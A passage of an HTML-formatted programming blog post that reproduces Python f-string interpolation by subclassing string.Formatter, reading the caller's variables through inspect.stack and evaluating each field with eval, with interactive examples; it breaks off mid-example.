&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;x=&lt;/span&gt;&lt;span class="si"&gt;{x}&lt;/span&gt;&lt;span class="s2"&gt; y=&lt;/span&gt;&lt;span class="si"&gt;{y}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;x=11 y=22&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But with the f-strings we can remove the bureaucratic call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;x=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; y=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;x=11 y=22&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A few days ago &lt;a href="https://yurichev.com/news/20210707_py_problem/"&gt;Yurichev&lt;/a&gt; posted: could we achieve a similar feature but without using the f-strings?.&lt;/p&gt;
&lt;p&gt;Challenge accepted.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;The trick is to realize that even if we don’t pass a variable explicitly to a function, the function still have access it through the Python’s stack.&lt;/p&gt;
&lt;p&gt;So we can write something like this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;inspect&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;level2&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;stack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;level2_var&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;f_locals&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;level1&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;level1_var&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;level2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;level1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;module&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
              &lt;span class="s1"&gt;&amp;#39;level1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="n"&gt;level1&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;...&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="s1"&gt;&amp;#39;level2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="n"&gt;level2&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;...&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="s1"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="s1"&gt;&amp;#39;y&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;level1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;level1_var&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;level2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;level2_var&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s1"&gt;&amp;#39;stack&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;level2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we can access &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;level1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s variables and even further.&lt;/p&gt;
&lt;p&gt;The other part of the challenge consist in to parse strings like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;x=&lt;/span&gt;&lt;span class="si"&gt;{x}&lt;/span&gt;&lt;span class="s2"&gt; x^2={x**2}&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. I played a lot with Python’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Formatter&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; when I implemented &lt;a href="https://github.com/bad-address/xview"&gt;xview&lt;/a&gt;, a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;-like utility for &lt;a href="https://github.com/bad-address/iasm"&gt;iasm&lt;/a&gt; an interactive assembler.&lt;/p&gt;
&lt;p&gt;In particular, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;get_field&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; method of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Formatter&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; gets called each time the parser finds a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{x}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The idea is to &lt;em&gt;eval&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the context of the caller’s frame: this will not only resolve variables like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but also expressions like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Combining all together:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;string&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Formatter&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;LocalsFormatter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Formatter&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;caller_ix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_caller_ix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;caller_ix&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;vformat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;stack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_augment_eval_context&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vformat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;stack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_augment_eval_context&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vformat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_augment_eval_context&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;caller&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_caller_ix&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;frame&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;caller&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;f_locals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# ensure a copy&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;field_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;field_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;field_name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;caller_ix&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the index of the frame in the stack that we want to use as the context for the evaluation.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;caller_ix&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means use the caller of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;vformat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;caller_ix&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means use the caller of the caller of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;vformat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Formatter&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; implements &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; calling &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;vformat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but that would introduces another frame in the stack &lt;em&gt;shifting&lt;/em&gt; the caller index.&lt;/p&gt;
&lt;p&gt;To simplify I redefined &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;vformat&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to get the stack from &lt;em&gt;their point of view&lt;/em&gt; and only then call other methods.&lt;/p&gt;
&lt;h3 id="examples"&gt;Examples&lt;/h3&gt;
&lt;p&gt;Let’s see how it works:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LocalsFormatter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;caller_ix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;456&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;{x+y}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;579&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This also includes calling methods and functions:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{l}&lt;/span&gt;&lt;span class="s2"&gt; {l.__len__()} {len(l)}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Closures should work too:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;outter&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;outter_y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;nonlocal&lt;/span&gt; &lt;span class="n"&gt;outter_y&lt;/span&gt;
